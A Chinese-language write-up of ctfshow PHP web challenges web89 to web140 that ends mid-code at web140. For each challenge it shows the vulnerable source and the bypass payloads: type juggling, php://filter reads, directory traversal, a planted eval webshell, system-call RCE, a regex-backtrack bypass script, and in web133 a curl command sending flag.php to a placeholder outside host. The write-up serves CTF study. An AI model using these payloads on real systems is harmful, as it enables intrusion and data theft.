文章目录
- web89
- web90
- web91
- web92
- web93
- web94
- web95
- web96
- web97
- web98
- web99
- web100
- web101
- web102-103
- web104
- web105
- web106
- web107
- web108
- web109
- web110
- web111
- web112
- web113
- web114
- web115
- web123
- web125
- web126
- web127
- web128
- web129
- web130
- web131
- web132
- web133
- web134
- web135
- web136
- web137
- web138
- web139
- web140
- web141
- web142
- web143
- web144
- web145
- web146
- web147
- web148
- web149
- web150
- web150_plus
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
这题需要get传一个num的参数,首先需要num中没有数字,然后需要intval($num)!=0
。看下intval()函数的定义:
int intval ( mixed $var [, int $base = 10 ] )
intval() 函数用于获取变量的整数值。
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
并且preg_match有漏洞,它无法处理数组。所以想要它不等于0,可以传入一个非空的数组
payload:
?num[]=1
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题需要让$num!=4476,但是intval($num,0)===4476,由上一题的引用可以知道:intval() 函数用于获取变量的整数值
,所以只需要传一个4476开头带小数的数字就可以了
payload:
?num=4476.1
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
这题考察的是正规匹配的漏洞,先看一下匹配的用法:
^:匹配字符串开始的位置
$:匹配字符串结束的位置
/i:表示匹配的时候不区分大小写
/m:表示多行匹配,使边界字符 ^ 和 $ 匹配每一行的开头和结尾
这题需要在多行匹配时出现php,但在单行匹配时不能出现,可以用换行符%0a
payload:
?cmd=%0aphp
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
姿势一
同web90
姿势二
可以通过进制转换来实现
payload:
?num=0x117c
117c
是4476的16进制数,前面加上0x,intval函数就能自动将它转换为十进制。
姿势三
intval()函数如果在$base=0的情况下,$var中存在字母时,遇到字母就停止读取。而e
在php中有科学计数法的作用。
payload:
?num=4476e41
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题有两种姿势,一种还是同web90,另一种是通过八进制绕过。
虽然它ban了所有的字母,但是八进制是没有任何字母的,只有数字。
payload:
?num=010574
10574是4476的八进制数,前面再添上一个0,让intval()函数将其由八进制转换为十进制。
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这题相比于上面,又多了一个strpos()函数,看这个函数的定义:
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。如果没有找到字符串则返回 FALSE。
根据定义,这题的$num参数中必须满足这几点:
- 值不能是4476
- 不能含有字母
- 值中必须有0,但第一个数字不能是0
- intval($num,0)===4476
那么也同web90的方法,可以采用小数,但是还要加0
payload:
?num=4476.01
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这题在上一题的基础上又过滤了.
,不能用小数了。但还是可以用八进制的方法绕过
payload:
?num= 010574 //注意开头的空格
?num=+010574
?num=%09010574
这样开头的第一个就不是数字0了,也能绕过strpos()函数。
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
姿势一
直接伪协议包含出来
payload:
?u=php://filter/read=convert.base64-encode/resource=flag.php
姿势二
用Linux的命令./
,表示当前目录下的文件,或者直接绝对路径。
payload:
?u=./flag.php
?u=/var/www/html/flag.php
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这题要post传a和b的参,使a和b值不等,md5值强相等,就要用到数组
payload:
a[]=1&b[]=2
因为md5()函数处理不了数组,会返回NULL
,最终就是NULL===NULL
从而相等。
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
还是太菜了,看到这题的代码居然看不懂。第一句的意思是无论GET请求什么,都会被POST请求覆盖掉。而&
可以理解为C++中引用的意思。
接下来两句代码没什么用,最后一句是要GET传HTTP_FLAG的值为flag,因为第一句存在变量覆盖,所以这里需要POST传参,GET传的参任意即可。
payload:
GET:?x=x
POST:?HTTP_FLAG=flag
web99
<?php
highlight_file(__FILE__);
$allow = array(); //将$allow设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
先看函数定义:
array_push ( array &$array , mixed $value1 , mixed $… = ? ) : int
array_push() 将 array 当成一个栈,并将传入的变量压入 array 的末尾。
in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool
在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。
因为in_array
用的是php中弱比较,因此1.php
会被转化成1
,而rand()函数每次都从1开始,有1的概率是非常大的,所以选择1.php
,然后file_put_contents()
函数就会向该文件中写入我们想要的命令,造成命令执行。
payload:
GET:?n=1.php
POST:content=<?php eval($_POST[a]);?>
//访问1.php
a=system("ls");
a=system("tac flag36d.php");
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
看注释得知flag在类ctfshow中,然后是运算符优先级的问题:
php中,and和&&都表示逻辑与,or和||都表示逻辑或,他们之间的区别就是运算的优先级不同,&&>=>and
||>=>or
因此在$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3)
中,=
的优先级大于and
,所以只要v1
的值是数字,就能让if语句成立。
下面是正则表达式的部分,要看仔细,v2
中不能有分号,v3
中必须有分号。
姿势一
使用反射类ReflectionClass
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
为了更好的理解反射类,羽师傅举了个例子:
<?php
class A{
public static $flag="flag{2u0_t1_ya0_xia0_2he_2u0}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
/*输出
array(1) {
["PI"]=>
float(3.14)
}*/
var_dump($a->getName()); 获取类名
/*输出
string(1) "A"*/
var_dump($a->getStaticProperties()); 获取静态属性
/*输出
array(1) {
["flag"]=>
string(15) "flag{2u0_t1_ya0_xia0_2he_2u0}"
}*/
var_dump($a->getMethods()); 获取类中的方法
/*输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}*/
}
姿势二
可以直接rce
payload:
?v1=1&v2=echo `ls`/*&v3=*/;
?v1=1&v2=system("cat ctfshow.php")/*&v3=*/;
姿势三
因为题中说了,flag在类ctfshow中,可以用var_dump
输出
payload:
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
web101
这题主要是针对上一题的非预期解过滤了很多东西,做法同上一题姿势一。
web102-103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
先看函数的定义:
substr(string,start,length)
返回字符串的一部分。
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
call_user_func ( callable $callback , mixed $parameter = ? , mixed $… = ? ) : mixed
把第一个参数作为回调函数调用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
这题要POST传一个v1,GET传v2和v3,在上一题提到优先级,只需要v2的值是数字
就可以了,在if语句中,将v2从第三个字符
开始截取,到结束,赋给$s
。
如果v1传的值是一个函数的话,call_user_func()
就会使用这个函数,将函数的结果赋给$str
。
最后是用file_put_contents()
函数将$str
写入到文件v3
中
v2既要是数字,又要能执行命令,想到hex2bin()
函数,它可以将十六进制字符转为字符串,那么这里就可以用php://filter/write=convert.base64-decode/resource
的伪协议来写入命令。
由于is_numeric()
函数存在,v2中只能有数字和e,所以必须找到base64编码、十六进制转换后只有数字和e的,就是<?=`cat *`;
,base64编码后是PD89YGNhdCAqYDs=
,去掉=
,转换为十六进制是5044383959474e6864434171594473
,因为substr()从第三位开始截取,所以前面再加上两个数字。
payload:
GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=12.php
POST:v1=hex2bin
然后访问12.php
,在源码中出现flag。
web104
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
sha1()
函数无法处理数组,遇到数组时会报错并返回false
,==
是弱比较,这时会相等。
payload:
GET:?v2[]=1
POST:v1[]=2
web105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这题的考点是$$
的变量覆盖,GET和POST获得的参数是以键值对的形式存储的,这里用foreach()来遍历,第一个foreach是GET的键不能是error
,第二个是POST的值不能是flag
,重点是接下来的if语句,如果POST传的键flag
的值不为flag
,程序就结束,并输出$error
。
payload:
GET:?a=flag
POST:error=a
先将flag的值赋给a,然后再将a的值,也就是flag,赋给error,利用die()
函数输出
web106
同web104,利用0e或数组绕过。
web107
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
这题考察parse_str()
函数,先看定义:
parse_str(string,array)
parse_str() 函数把查询字符串解析到变量中。
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
这题函数中是有两个参数的,也就是会把前面参数(变量)存储到后面参数(数组)中。
payload:
GET:?v3=a //a可以是任意字符
POST:v1=flag=0cc175b9c0f1b6a831c399e269772661 //a的md5值
web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
先看函数定义:
ereg ( string $pattern , string $string , array &$regs = ? ) : int
以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
strrev(string)
反转字符串。
这题ereg()
函数要求所有字符都必须是大小写字母,但是想要得到flag,又必须有数字,这时就可以用到ereg()的%00截断
漏洞,当ereg读到%00时就被截止。
payload:
?c=a%00778
0x36d
的十进制就是877
,倒过来是778
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
看羽师傅的博客,只要让new后面有个类不报错,就可以随意构造。
姿势一
利用反射类
payload:
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass&v2=system("cat fl36dg.txt")
姿势二
利用php中的异常处理类
异常处理在 PHP 中的具体体现就是,PHP 提供了一个名叫 Exception 的类完成对 PHP 程序异常的处理,这个类包含了一些处理异常的函数,这些函数可以捕获程序异常和错误。
?v1=Exection&v2=system("ls")
?v1=Exection&v2=system("cat fl36dg.txt")
web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
这题要用到一个新的类FilesystemIterator类获取指定目录下的所有文件。
先看例子
<?php
$a=new FilesystemIterator('.');
while($a->valid()){
echo $a->getFilename()."\n";
$a->next();
}
?>
输出结果:
还差路径,可以用getcwd()
函数:
getcwd()获取当前工作目录 返回当前工作目录
payload:
?v1=FilesystemIterator&v2=getcwd
然后直接访问这个文件即可获得flag
web111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
这题考察全局变量GLOBALS
的使用
$GLOBALS — 引用全局作用域中可用的全部变量。
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
即出现过的全局变量,就可以通过$GLOBALS这个数组取得。
将全局变量传给v2,再利用getFlag()函数中$$变量覆盖,赋值给v1
payload:
?v1=ctfshow&v2=GLOBALS
web112
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
经典文件包含,禁用了base64、rot13、input、data,可以用ucs-2
姿势一
?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
得到的flag是ucs-2加密的,我用c++写了个解密的代码
#include<iostream>
using namespace std;
int main()
{
char str1[] = { 'f','$','a','l','=', 'g','c','"','f','t','h','s','w','o','6','{','2','2','5','d','6','5','-','8','0','9','f','2','4','-','e','3','-','0','e','9','a','4','0','-','0','d','3','1','8','c','c','b','e','7','}','f',';','"' };
char str2[100];
for (int i = 0; i < 54; i += 2)
{
str2[i] = str1[i + 1];
str2[i + 1] = str1[i];
}
for (int i = 0; i < 54; i++)
{
cout << str2[i];
}
}
姿势二
精简版payload:
?file=php://filter/resource=flag.php
姿势三
quoted-printable加密
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
姿势四
compress.zlib伪协议
?file=compress.zlib://flag.php
web113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
姿势一
考点是php7.4的小trick,在Linux中,/proc/self/root
代表的是根目录
root@baba:/# ls /proc/self/root
bin dev home initrd.img.old lib32 libx32 media opt root sbin sys usr vmlinuz
boot etc initrd.img lib lib64 lost+found mnt proc run srv tmp var vmlinuz.old
root@baba:/# ls
bin dev home initrd.img.old lib32 libx32 media opt root sbin sys usr vmlinuz
boot etc initrd.img lib lib64 lost+found mnt proc run srv tmp var vmlinuz.old
可以多次重复来使函数溢出,require_once包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含。
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
测试了下,最少需要21个/proc/self/root
才能溢出
姿势二
同上一题姿势四。
web114
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
hhhh,没过滤php://filter
payload:
?file=php://filter/resource=flag.php
web115
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
过滤的有点小狠,可以先用php fuzz来测试下哪些字符可用
<?php
for($i=0;$i<=128;$i++){
$x=chr($i).'1';
if(is_numeric($x)==true&&trim($x)!=='1'){
echo urlencode(chr($i))."\n";
}
}
?>
可以看到最终结果,除了%0c
,其他全部被ban了,所以最后结果唯一
payload:
?num=%0c36
web123
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
这题知识可以参考利用PHP的字符串解析特性Bypass,参考里面的结果:foo%20bar和foo+bar
等效,均解析为foo bar
payload:
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
这题给过滤了不少关键字,那么就选择在其他地方输入flag
payload:
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
GET:?1=flag.php
web126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
,这里用羽师傅测试的例子
<?php
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
payload:
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?a=1+fl0g=flag_give_me
web127
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
因为过滤了. [ +
,还能用空格来实现
payload:
?ctf show=ilove36d
web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
这题主要考察的是_()
和get_defined_vars()
两个函数的使用,call_user_func('_','phpinfo')
最后会返回phpinfo
,get_defined_vars()
返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:
?f1=_&f2=get_defined_vars
web129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
先看stripos()
函数定义
strpos(string,find,start)
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
姿势一
这题考察的是目录穿越漏洞
payload:
?f=/ctfshow../../../../../../../../var/www/html/flag.php
姿势二
看羽师傅的博客,filter伪协议支持多种编码方式,无效的会被忽略掉
payload:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
emmm,这题本来是准备输入个ctfshow
试试的,结果flag直接出来了。还有一种非预期,就是利用数组来绕过,也是可行的。
payload:
f=ctfshow
f[]=ctfshow
web131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
参考羽师傅的博客,这题的考点是最大回溯次数绕过,PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre
设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
。
那么这题可以自己去写一个脚本,来构造一个几十万长度的字符串并提交,但是,字符串的长度有限制,太长或太短都会失败,太长时会返回Too Large
,太短会返回bye
,在写脚本时要注意。这个脚本主要是用的二分法(hhh学了爬虫后写的第一个脚本):
import requests
if __name__ == '__main__':
url = 'http://e2000e1f-a51c-4b8a-b066-d7f1c46a7ca8.chall.ctf.show:8080/'
high = 1000000
low = 100000
while True:
mid = int((high + low) / 2)
data = {
'f': 'haha' * mid + '36Dctfshow'
}
r = requests.post(url=url, data=data)
if 'ctfshow{' in r.text:
print(r.text)
break
elif 'Too Large' in r.text:
high = mid
elif 'bye' in r.text:
low = mid
web132
进去直接访问robots.txt
,发现/admin
路径,访问后获得源码
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
可以在本地模拟一下各种可能,最终发现这一种是可行的
<?php
if(false&&false||true){
echo 123;
}
?>
payload:
?code=admin&username=admin&password=1
最后看群主给的hint,就懂为什么这个组合正确了:
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===“admin”#成功绕过
web133
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
这题一开始我以为是7个字符的命令执行,后面发现是变量覆盖。
在get传参?F=`$F `;sleep 3,发现会多加载三秒,因为在`substr()`函数截取后,
得到`$F `;
会执行eval("`$F `;")
这时候再带入原来的$F,可以得到eval("``$F `;sleep 3`` `;")
此时在后面就执行了sleep 3的命令
因此,这题考察的是无回显的rce,可以用curl外带的方法,这里学到了在无公网ip的情况下利用burp来查看flag。
payload:
?F=`$F `;curl -X POST -F xx=@flag.php http://xxx
先点击1的按钮后,将地址复制到payload中的xxx位置处执行,然后就能找到flag
web134
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
可以先在本地做一个测试
<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
?>
也就是$_POST[a]
存在且值为1,因为题中有extract($_POST);
,最终也就是$a=1
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
发现并没用过滤nl
,那么就可以了,其他还有paste
payload:
?F=`$F `;nl f*>a
然后去访问url/a
即可获得flag
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
这题考察的是对Linux中tee
命令的使用
tee [-ai][–help][–version][文件…]
-a或–append 附加到既有文件的后面,而非覆盖它.
-i或–ignore-interrupts 忽略中断信号。
–help 在线帮助。
–version 显示版本信息。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
先
?c=ls | tee a
然后访问url/a,查看当前目录的文件,发现只有一个index.php,于是继续用命令
?c=ls / | tee b
查看根目录下文件,发现f149_15_h3r3
,最后用
?c=cat f149_15_h3r3 | tee c
查看到flag
web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
call_user_func()
函数将第一个参数作为回调函数调用,这题主要考察如何调用类中的静态函数
payload:
ctfshow=ctfshow::getFlag
->
与::
调用函数的区别:
-> 调用实例方法
:: 调用静态方法
在类里面的时候,$this->func()和self::func()没什么区别。
在外部的时候,->必须是实例化后的对象使用;而::可以是未实例化的类名直接调用。
web138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
首先想到数组绕过,call_user_func()
不仅可以传字符串,也可以传数组
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
先略过
web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
